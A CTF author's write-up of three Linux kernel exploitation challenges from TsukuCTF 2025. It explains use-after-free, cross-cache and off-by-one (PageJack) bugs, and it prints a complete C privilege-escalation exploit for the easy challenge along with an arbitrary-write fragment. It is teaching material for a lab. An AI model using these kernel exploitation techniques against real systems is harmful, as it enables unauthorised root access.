TsukuCTF 2025 Writeups
At TsukuCTF 2025, I created three kernel pwn challenges. It was my first time creating CTF challenges, but I learned a lot through the process. While creating the challenges, I focused on removing unnecessary complexity and designing challenges that would help participants learn something new. To support this, I provided the full source code (i.e., no reversing), a vmlinux with debug symbols, and an uploader for submitting exploits to the server. I hope you enjoyed them.
I will briefly go over each challenge below. The bugs and how to exploit them are explained in my blog series Linux Kernel Exploitation, so here I’ll mainly explain the ideas behind each challenge and give some advice for beginners.
easy_kernel (medium, 12 solves)
This challenge was originally created as an easy one, but I increased its difficulty just before the CTF. (Looking at the total number of solves, I think this was the right decision.) The bug is in obj_free
, where the pointer obj
, which points to a freed memory region, is not cleared:
1
2
3
4
static long obj_free(void) {
kfree(obj);
return 0;
}
This results in an obvious UAF. Since we already have read and write primitives, and the victim object is allocated from kmalloc-32, we can easily control RIP by using struct seq_operations
, which is also allocated from kmalloc-32. Since SMAP, SMEP, KASLR and KPTI are disabled, we can achieve root privileges simply by executing commit_creds(&init_cred)
in user space:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <stdio.h>
#include <assert.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#define CMD_ALLOC 0xf000
#define CMD_WRITE 0xf001
#define CMD_FREE 0xf002
typedef struct {
size_t size;
char *data;
} request_t;
int fd;
void obj_alloc() {
request_t req = {};
assert(ioctl(fd, CMD_ALLOC, &req) == 0);
}
void obj_write(char *data, size_t size) {
request_t req = {.size = size, .data = data};
assert(ioctl(fd, CMD_WRITE, &req) == 0);
}
void obj_free() {
request_t req = {};
assert(ioctl(fd, CMD_FREE, &req) == 0);
}
unsigned long user_cs, user_ss, user_rsp, user_rflags;
void save_state() {
asm volatile (
"movq %0, cs\n"
"movq %1, ss\n"
"movq %2, rsp\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory"
);
}
void win() {
char *argv[] = { "/bin/sh", NULL };
execve("/bin/sh", argv, NULL);
}
void restore_state() {
asm volatile(
"swapgs\n"
"movq [rsp + 0x00], %0\n"
"movq [rsp + 0x08], %1\n"
"movq [rsp + 0x10], %2\n"
"movq [rsp + 0x18], %3\n"
"movq [rsp + 0x20], %4\n"
"iretq\n"
:
: "r"(win), "r"(user_cs), "r"(user_rflags), "r"(user_rsp), "r"(user_ss)
);
}
#define addr_init_cred 0xffffffff81e3bfa0
#define addr_commit_creds 0xffffffff812a1050
void escalate_privilege() {
void (*commit_creds) (void *) = (void *)addr_commit_creds;
commit_creds((void *)addr_init_cred);
restore_state();
}
int main(void) {
save_state();
fd = open("/dev/vuln", O_RDONLY);
assert(fd != -1);
puts("[*] Allocating the victim object");
obj_alloc();
obj_free();
puts("[*] Allocating struct seq_operations to reclaim the memory");
int seqfd = open("/proc/self/stat", O_RDONLY);
assert(seqfd != -1);
puts("[*] Hijacking RIP");
char payload[0x8];
*(unsigned long *)&payload = (unsigned long)escalate_privilege;
obj_write(payload, sizeof(payload));
read(seqfd, payload, 1);
}
Note that we have to use commit_creds(&init_cred)
insted of commit_creds(prepare_kernel_cred(NULL))
since, from version 6.2, we cannot pass NULL
to prepare_kernel_cred
:
1
2
3
4
5
6
// https://elixir.bootlin.com/linux/v6.2/source/kernel/cred.c#L717-L718
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
...
if (WARN_ON_ONCE(!daemon))
return NULL;
To solve this challenge, you need to understand how to use UAF for privilege escalation. If you are new to kernel pwn, I recommend studying through pawnyable.
xcache (hard, 5 solves)
As the name suggests, the theme of this challenge is cross-cache attack. As in the easy_kernel challenge, there is an obvious UAF, but in obj_alloc
and obj_free
, kmem_cache_zalloc
and kmem_cache_free
are used respectively, meaning that a dedicated cache is being used:
1
2
3
4
5
6
7
8
9
10
static long obj_alloc(int id) {
if (objs[id] != NULL) {
return -1;
}
objs[id] = kmem_cache_zalloc(obj_cachep, GFP_KERNEL);
if (objs[id] == NULL) {
return -1;
}
return 0;
}
1
2
3
4
static long obj_free(int id) {
kmem_cache_free(obj_cachep, objs[id]);
return 0;
}
However, the other parts (i.e., the available commands and enabled mitigations) are the same. Therefore, if we can place the victim objects in kmalloc-32, the exploit above can be used as is. To achieve this, cross-cache attack is required. For a detailed explanation, please refer to this article.
Unfortunately, there was an unintended solution. Since I disabled slab mitigations to simplify debugging, arbitrary write can be achieved simply by:
1
2
3
4
5
6
7
8
9
10
11
12
13
obj_alloc(0);
obj_free(0);
char payload[0x200];
*(unsigned long *)&payload[0x100] = aribitrary_addr;
obj_write(0, payload, sizeof(payload));
obj_alloc(1);
obj_alloc(2);
// TODO
char payload[] = {};
obj_write(2, payload, sizeof(payload));
By using this, we can achieve privilege escalation without cross-cache attack. This was reported by @mk3uswh0l3, who utilized it to overwrite objs
, achieve arbitrary write, and eventually overwrite modprobe_path
(Since kzalloc
overwrites 0x200 bytes, writing to modprobe_path
directly does not work). Note that since the kernel version is 6.14.2, request_module
is not called in search_binary_handler
(due to this patch). So instead, we have to use AF_ALG sockets. See this article for more details.
The reason I created this challenge is that cross-cache attack is a fundamental technique in modern kernel exploitation. If you want to learn about advanced techniques such as Dirty PageTable and DirtyCred, understanding cross-cache attacks is a good place to start.
new_era (very hard, 4 solves)
Unlike the other challenges, this one is extremely hardened (i.e., in addition to SMAP, SMEP, KASLR, and KPTI, additional mitigations like CONFIG_CFI_CLANG and CONFIG_STATIC_USERMODEHELPER are also enabled). To escalate privileges, we need to exploit the obvious off-by-one bug in obj_write
:
1
2
3
4
5
6
7
8
9
10
static long obj_write(char *data, size_t size) {
if (obj == NULL || size > OBJ_SIZE) {
return -1;
}
if (copy_from_user(obj->buf, data, size) != 0) {
return -1;
}
obj->buf[size] = '\0';
return 0;
}
The intended solution is Pagejack. By using the off-by-one bug, we can overwrite the page
member of struct pipe_buffer
, which leads to a page UAF. After this, there are various ways to proceed, but my approach is to overwrite the f_mode
member of the struct file
for /etc/passwd and overwrite it. For a detailed explanation, please refer to this article.
The inspiration for creating this challenge came from the BlackHat presentation about PageJack. Initially, I planned to enable CONFIG_MEMCG and use an cross-cache off-by-one bug, but I decided not to, since I though it would be too dificult.
Conclusion
The number of solves for easy_kernel was much lower than I had expected (perhaps because TsukuCTF was announced as a CTF focusing mainly on OSINT?). As for new_era, I was bracing myself for zero solves, but to my surprise, it was solved within just two hours! I hope you enjoyed my challenges and learned something new. Feel free to ask any questions or provide feedback.